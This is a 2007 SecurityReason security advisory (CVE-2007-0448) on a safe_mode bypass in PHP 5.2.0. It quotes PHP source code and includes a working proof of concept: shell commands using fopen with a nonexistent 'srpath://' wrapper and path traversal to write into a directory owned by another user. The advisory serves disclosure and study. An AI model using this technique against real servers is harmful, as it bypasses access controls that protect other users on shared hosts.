Source: http://securityreason.com/achievement_securityalert/44
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[PHP 5.2.0 safe_mode bypass (by Writing Mode)]
Author: Maksymilian Arciemowicz (SecurityReason)
Date:
- - Written: 02.12.2006
- - Public: 24.01.2007
SecurityAlert Id: 44
CVE: CVE-2007-0448
SecurityRisk: High
Status: In progress
Affected Software: PHP 5.2.0
Advisory URL: http://securityreason.com/achievement_securityalert/44 [Soon]
Vendor: http://www.php.net
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from
C, Java and Perl with a couple of unique PHP-specific features thrown in. The
goal of the language is to allow web developers to write dynamically generated
pages quickly.
A nice introduction to PHP by Stig Sather Bakken can be found at
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the
PHP Conference Material is freely available.
- --- 1. safe_mode bypass by writing mode ---
In PHP 5.2.0 it is possible to bypass safe_mode using writing mode. Let's see
fopen() function:
- -845-845--- Code from PHP520 ext/standard/file.c [START]
stream = php_stream_open_wrapper_ex(filename, mode, (use_include_path ?
USE_PATH : 0) | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL, context);
- -845-845--- Code from PHP520 ext/standard/file.c [END]
Let's see to safe_mode.c
- -142-152--- Code from main/safe_mode.c [START]
ret = VCWD_STAT(path, &sb);
if (ret < 0) {
if ((flags & CHECKUID_NO_ERRORS) == 0) {
php_error_docref(NULL TSRMLS_CC, E_WARNING,
"Unable to access %s", filename);
}
return 0;
}
duid = sb.st_uid;
dgid = sb.st_gid;
if (duid == php_getuid()) {
return 1;
- -142-152--- Code from main/safe_mode.c [END]
if duid == php_getuid(), safe_mode is bypassed..
#define VCWD_STAT(path, buff) virtual_stat(path, buff TSRMLS_CC)
Let's see to virtual_stat() function.
- -831-845--- Code from TSRM/tsrm_virtual_cwd.c [START]
CWD_API int virtual_stat(const char *path, struct stat *buf TSRMLS_DC)
{
cwd_state new_state;
int retval;
CWD_STATE_COPY(&new_state, &CWDG(cwd));
if (virtual_file_ex(&new_state, path, NULL, 1)) {
return -1;
}
retval = stat(new_state.cwd, buf);
CWD_STATE_FREE(&new_state);
return retval;
}
- -831-845--- Code from TSRM/tsrm_virtual_cwd.c [END]
So, we can try to create file /dir/pliczek.
cxib# uname -a
FreeBSD cxib.laptop 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 08:43:30 UTC
2007 root@portnoy.cse.buffalo.edu:/usr/obj/usr/src/sys/SMP amd64
cxib# php -r 'fopen("/dir/pliczek", "a");'
Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is
1030 is not allowed to access /dir owned by uid 80 in Command line code on line
1
Warning: fopen(/dir/pliczek): failed to open stream: Invalid argument in
Command line code on line 1
cxib# php -r 'fopen("compress.zlib://../../../../../../../dir/pliczek", "a");'
Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is
1030 is not allowed to access /dir owned by uid 80 in Command line code on line
1
Warning: fopen(compress.zlib://../../../../../../../dir/pliczek): failed to
open stream: Invalid argument in Command line code on line 1
cxib# php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
cxib# ls -la /dir/pliczek
- -rw-r--r-- 1 cxib www 0 Jan 19 21:26 /dir/pliczek
Works!
srpath dosen't exist and if you are using write mode that safe_mode change path
to file and duid == php_getuid().
For example.
fopen("compress.zlib://../../../../../../../dir/pliczek", "a");
Safe_mode is removed prefix and VCWD_STAT("/dir/pliczek", &sb);
Because you wound create file "pliczek" in directory "/dir", that is only
permision do "dir" checked.
If you use
fopen("srpath://../../../../../../../dir/pliczek", "a");
wher srpath dosen't exists, that function stat is
VCWD_STAT("/dir_wher_are_you/srpath:", &sb) return 1.
and stat() give you permision from dir "/dir_wher_are_you/".
This issue has been tested on FreeBSD 6.1 6.2 i386 and FreeBSD 6.1 6.2 amd64
with PHP 5.2.0 REL.
We have sent this bug to PHP Team, but this bug dosen't exist on PHP 5.2.1RC.
- --- 2. Greets ---
For: sp3x, Infospec
and
l5x, p_e_a, lorddav, pi3
- --- 3. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
Regards
SecurityReason
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